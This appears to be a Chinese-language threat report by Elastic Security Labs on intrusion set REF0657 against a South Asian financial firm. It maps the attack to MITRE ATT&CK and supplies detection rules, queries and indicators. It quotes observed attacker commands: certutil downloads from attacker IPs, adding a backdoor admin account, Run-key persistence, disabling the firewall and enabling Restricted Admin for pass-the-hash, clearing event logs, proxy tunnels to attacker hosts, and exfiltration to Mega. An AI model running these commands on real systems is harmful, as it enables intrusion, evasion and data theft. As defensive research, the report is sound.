前言
在 2023 年 12 月,Elastic 安全实验室检测到一起针对南亚金融服务机构的快速入侵事件。在整个入侵过程中,受害者环境中使用了各种开源工具,其中一些是我们首次遇到的。该威胁组织参与了不同的后渗透活动:从发现/枚举到利用受害者的内部企业软件攻击他们,最终利用不同的隧道工具和侧加载技术来执行 Cobalt Strike。此外,攻击者还使用文件托管服务 Mega 从网络中泄露数据。
通过披露此入侵集(REF0657)的详细信息以及各种战术、技术和程序 (TTP),我们希望帮助其他防御者和组织识别并监控此类活动。
主要发现
- REF0657 针对南亚的金融服务
- 该组织利用了广泛的后渗透行为,包括使用 Microsoft SQL Server 的后门访问、转储凭据、擦除事件日志以及使用 MEGA CMD 泄露数据
- 该活动包括各种网络隧道工具和代理工具,以及 Cobalt Strike 和使用 C2 框架 Supershell 的基础设施的联系
活动分析
我们的团队在 2023 年 12 月 17 日在客户环境中发现了初始枚举。虽然我们无法了解感染的根本原因,但我们继续监控环境。在接下来的几周里,我们发现了七个不同的主机,主要是服务器,表现出大量的活动,包括
- 发现/枚举
- 下载其他工具/组件
- 在环境中的合法文件夹位置重命名和暂存工具
- 从注册表转储凭据并将用户添加到机器
- 修改环境以实现横向移动和持久化
- 执行代理隧道和 shellcode 以保持对环境的访问
- 使用云服务提供商 Mega 压缩和泄露数据
- 擦除多台机器上的事件日志
执行流程/时间线
我们的团队观察到的大部分活动都是通过滥用 Microsoft SQL Server (sqlservr.exe
) 的命令行执行进行的。虽然我们无法确定根本原因,但我们有理由相信攻击者通过此远程可访问的服务器获得了对环境的访问权限,然后开始使用 MSSQL 的存储过程 (xp_cmdshell
) 执行命令和运行程序。这个初始端点是攻击的滩头阵地,所有活动似乎都源于此处。
发现/枚举/暂存
威胁行为者使用了几个标准的 Windows 实用程序进行初始发现和枚举。下图显示了从父进程 (sqlservr.exe
) 派生的不同命令
攻击者经常检查以验证他们的负载是否正在运行,查看受害者机器上的网络连接,并执行目录列表以检查他们的不同文件。
获得初始访问权限后,攻击者尝试了多种方法来下载其他负载和工具。攻击者开始使用 certutil.exe
,然后转到 bitsadmin.exe
、PowerShell 的 DownloadFile()
方法,最终返回到 certutil.exe
。这些不同的工具与 IP 地址 (149.104.23[.]17
和 206.237.3[.]150
) 进行了交互。
横向移动 + 持久化
当攻击者在环境中移动时,他们利用远程 SMB 和 WMI 在每台机器上创建一个名为“helpdesk”的本地管理员帐户。在某些情况下,他们设置了一个随机命名的 Windows 服务 (qLVAMxSGzP
) 作为持久化机制。此服务将执行一个临时批处理文件,其中包含添加本地用户并将此用户插入本地管理员组的命令。执行后,该文件将被删除。
%COMSPEC% /Q /c echo net user helpdesk P@ssw0rd /add && \
net localgroup administrators helpdesk /add \
^> \\127.0.0.1\C$\FOUGTZ 2^>^&1 > %TEMP%\VOruiL.bat & \
%COMSPEC% /Q /c %TEMP%\VOruiL.bat & %COMSPEC% /Q /c del %TEMP%\VOruiL.bat
执行
攻击者转移到 Cobalt Strike 进行 C2 和进一步执行。这一次,他们使用了 Trend Micro 的 Deep Security Monitor 的合法签名版本 (ds_monitor.exe
)。这用于通过侧加载恶意 DLL (msvcp140.dll
) 来加载 Cobalt Strike。我们观察到 DLL 从 certutil.exe
执行中下载,然后我们通过调用堆栈遥测确认了此行为。
"C:\Windows\system32\cmd.exe" /c certutil -urlcache -split -f \
ht""""tp://206.237.3[.]150:443/1.txt \
C:\users\public\downloads\msvcp140.dll
下面的屏幕截图显示,攻击者将 TrendMicro 应用程序放置在 ProgramData 中标记为 McAfee 的目录中。通过检查调用堆栈,我们可以看到恶意 DLL 是从同一目录加载的。
不久之后,添加了运行密钥持久性,以便在系统启动时执行 (ds_monitor.exe
)。
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v \
TrendMicro /t REG_SZ /d \
"C:\ProgramData\McAfee\TrendMicro\ds_monitor.exe" /f /reg:64
对 msvcp140.dll
的分析表明,威胁行为者通过将 DllEntryPoint 替换为来自公共 存储库 的修改后的代码来篡改合法 Windows DLL 的 DllEntryPoint - 这是一个自定义 Cobalt Strike 内存规避加载程序。
虽然原始代码从内存中检索 Cobalt Strike Beacon,但修改后的版本从名为 config.ini
的文件中加载 base64 格式的 Beacon,该 Beacon 连接到 msedge[.]one
。
转储凭据
观察到的收集凭据的主要方法之一是转储不同服务器上的安全帐户管理器 (SAM) 注册表配置单元。
网络/注册表/日志记录修改
威胁行动者修改了多个不同的配置和设置,以进一步增加他们对环境的访问权限。我们首次观察到的这种行为之一是启用RDP(将值设置为 0),通过以下路径的注册表实现(HKLM\SYSTEM\ControlSet001\Control\Terminal Server\fDenyTSConnections)
)。然后,他们使用以下命令禁用了 Windows 防火墙规则: NetSh Advfirewall set allprofiles state off
。
之后,他们通过修改注册表启用了受限管理模式,这使得攻击者可以针对远程桌面协议(RDP)进行哈希传递式攻击。
cmd.exe /Q /c REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" \
/v DisableRestrictedAdmin /t REG_DWORD /d 00000000 \
/f 1> \\127.0.0.1\C$\Windows\Temp\RExePi 2>&1
除了这些更改之外,攻击者还使用 Windows 事件实用程序 wevtutil.exe
清除了系统和安全通知的 Windows 事件日志。
cmd.exe /Q /c wevtutil.exe cl System 1> \
\\127.0.0.1\C$\Windows\Temp\ksASGt 2>&1
cmd.exe /Q /c wevtutil.exe cl Security 1> \
\\127.0.0.1\C$\Windows\Temp\uhxJiw 2>&1
隧道/代理工具
在初始访问一天后,攻击者使用 AppLaunch.exe
(一个管理和执行使用 Microsoft 的 .NET Framework 构建的应用程序的二进制文件)生成了多个 shellcode 注入警报,并将结果输出到一个名为 1.txt
的文件中。与此警报关联的命令行参数如下:c:\programdata\AppLaunch.exe proxy -r 206.237.0[.]49:12355 >> 1.txt
在检查注入的代码后,我们确定该 shellcode 是一个名为 iox
的 Golang 二进制文件,可以从以下公开可用的存储库编译。此工具设计用于端口转发和代理,并具有诸如流量加密之类的附加功能。根据观察到的命令行,攻击者建立了到端口 12355
上 206.237.0[.]49
的代理连接。
无论是否有意,代理实用程序都是由几个不同的合法进程启动的:lsass.exe
、vmtoolsd.exe
和 mctray.exe
。在这种情况下,威胁行动者侧载了一个位于 C:\programdata\
目录中的常见恶意未签名 DLL (mscoree.dll
)。
该行动者还采用了另一个名为 Rakshasa 的代理,直接使用 certutil
命令从该工具的官方 GitHub 页面下载。它存储在 c:\users\public\downloads\ra.exe
中,然后使用以下命令执行:C:\Windows\system32\cmd.exe /C C:\Users\Public\Downloads\ra.exe -d 149.104.23[.]176:80
。
此命令创建了一个到威胁行动者基础设施的代理隧道,连接到端口 80
上 IP 地址 149.104.23.176
。如果这还不够,该行动者开始通过 ICMP 隧道发送和检索网络数据。例如,当该行动者执行 tasklist 命令时,输出被保存到 C:\programdata\re.txt
,并使用 PowerShell 通过 ICMP 泄露出去。
数据渗漏
这次入侵中更值得注意的部分之一是围绕着攻击者下载 MEGA Cmd,这是一个与 Mega 文件托管服务一起使用的命令行实用程序。在仍然利用 MSSQL 的同时,他们下载了这个程序,将其重命名为 ms_edge.exe
。
"C:\Windows\system32\cmd.exe" /c certutil -urlcache -split -f \
ht""""tp://206.237.3.150:443/megacmd.exe \
C:\users\public\downloads\ms_edge.exe
不久之后,我们观察到这个实用程序被执行,并带有一个指向配置文件(称为 tmp
)的参数和一个与 Mega 一起使用的、以备份扩展名 (.bak
) 存储的压缩文件。
C:\users\public\downloads\ms_edge.exe --config \
C:\users\public\downloads\tmp copy \
REDACTED_FILENAME.bak mega_temp:
基础设施
在整个调查过程中,该威胁组织使用了多个服务器来托管他们的有效载荷或转发网络流量。Elastic Security Labs 团队发现了两个具有开放目录的 Web 服务器,这些服务器托管的文件可以通过以下地址公开访问:
206.237.3[.]150
206.237.0[.]49
此外,我们的团队观察到了在 206.237.[0].49:8888
上运行的基于中国的 C2 平台 Supershell 面板。
当我们发现一个配置文件(在“数据渗漏”部分中称为 tmp
),该文件用于 Mega 平台的自动化并包含攻击者使用的凭据时,我们验证了上一节中的早期发现。此外,还有各种来自以下公共存储库的 Web shell 文件和脚本:
- https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md#abusing-ssrf-in-aws-ec2-environment
- https://github.com/tutorial0/WebShell/blob/master/Aspx/ASPXspy.aspx
- https://github.com/L-codes/Neo-reGeorg/blob/master/templates/tunnel.ashx
此外,在这些目录中,我们识别出了一些有趣的二进制文件:
cloud_init
其中一个文件 (cloud_init
) 是一个使用 UPX 打包的 Golang ELF 二进制文件。经过检查,确定它是从 NPS 存储库编译的,这是另一个与大多数常见协议兼容的内网代理服务器。威胁行动者修改了代码,以在编译期间加密字符串。解密过程使用单独的字节数组,其中一个数组的字节与另一个数组的字节组合,采用加法、XOR 或减法等操作进行解密。
MSASN1.dll
经过审查,此 DLL 的功能/代码与之前讨论的文件 (msvcp140.dll
) 相同。
通过 MITRE ATT&CK 的 REF0657
Elastic 使用 MITRE ATT&CK 框架来记录高级持续性威胁针对企业网络使用的常见策略、技术和程序。
策略
策略代表技术或子技术的原因。攻击者的战术目标是执行操作的原因。在 REF0657 中观察到的策略是:
技术
技术表示攻击者如何通过执行操作来实现战术目标。Elastic Security Labs 在 REF0657 中观察到了以下技术:
总结
总而言之,这次入侵突出了一些新的工具,同时再次强调并非所有入侵都是由新型恶意软件和技术决定的。这些类型的威胁展示了大多数组织每天面临的现实挑战。
该威胁组织在这个环境中移动得非常快,几乎在 24 小时内,攻击者就从网络中提取了有意义的数据。分享其中一些细节可以帮助防御者弥补这些技术可能存在漏洞或覆盖不足的情况。
钻石模型
Elastic Security Labs 利用钻石模型来描述攻击者、能力、基础设施和入侵受害者之间的高级关系。虽然钻石模型最常用于单次入侵,并利用活动线程(第 8 节)作为创建事件之间关系的一种方式,但以攻击者为中心的方法(第 7.1.4 节)允许使用一个(尽管混乱的)单一钻石。
检测 REF0657
在分析此入侵集的过程中,观察到了以下检测规则和行为预防事件:
检测
- 直接出站 SMB 连接
- 通过 MSSQL xp_cmdshell 存储过程执行
- 通过重命名的签名二进制代理执行
- 通过注册表进行潜在的远程凭据访问
- 从不寻常的目录执行进程
- 可疑的 CertUtil 命令
- WMI 入站横向移动
预防
- 通过 INET 缓存入口工具传输
- 潜在的伪装成 Windows 错误管理器
- 通过 SMBExec 进行潜在的横向移动
- 通过 WMI 执行可疑的 Cmd
- 带有不寻常参数的 RunDLL32
- 可疑的 PowerShell 执行
Elastic 中的搜索查询
搜索查询可能会返回高信号或误报。这些查询用于识别潜在的可疑行为,但需要进行调查以验证结果。
ES|QL 查询
在 Kibana 安全解决方案的“关联”选项卡下的“时间线”部分,您可以使用以下 ES|QL 查询来搜索类似的行为
FROM logs-*
WHERE process.parent.name == "sqlservr.exe"
AND process.name == "cmd.exe"
AND process.command_line
RLIKE ".*certutil.*"
FROM logs-*
WHERE process.name == "ms_edge.exe"
AND process.code_signature.exists == false
AND NOT process.executable
RLIKE ".*Program Files.*"
YARA
Elastic Security 创建了以下 YARA 规则来识别此活动
- Windows.Trojan.CobaltStrike
- Windows.Hacktool.SleepObfLoader
- Multi.Hacktool.Nps
- Multi.Hacktool.Rakshasa
- Windows.Hacktool.Iox
观察
所有可观察对象也可在 下载,以 ECS 和 STIX 格式的组合 zip 包提供。
本研究讨论了以下可观察对象。
可观察对象 | 类型 | 名称 | 参考 |
---|---|---|---|
206.237.3[.]150 | ipv4-addr | 文件托管基础设施 | |
206.237.0[.]49 | ipv4-addr | 文件托管和超级 Shell 基础设施 | |
104.21.54[.]126 | ipv4-addr | Cobalt Strike 基础设施 | |
149.104.23[.]176 | ipv4-addr | ||
msedge[.]one | domain-name | Cobalt Strike 基础设施 | |
bc90ef8121d20af264cc15b38dd1c3a866bfe5a9eb66064feb2a00d860a0e716 | SHA-256 | mscoree.dll | |
84b3bc58ec04ab272544d31f5e573c0dd7812b56df4fa445194e7466f280e16d | SHA-256 | MSASN1.dll |
关于 Elastic Security Labs
Elastic Security Labs 是 Elastic Security 的威胁情报部门,致力于在威胁环境中创造积极的改变。Elastic Security Labs 提供关于新兴威胁的公开研究,分析战略、运营和战术上的对手目标,然后将该研究与 Elastic Security 的内置检测和响应能力集成。
在 Twitter 上关注 Elastic Security Labs @elasticseclabs,并在 www.elastic.co/security-labs/ 上查看我们的研究。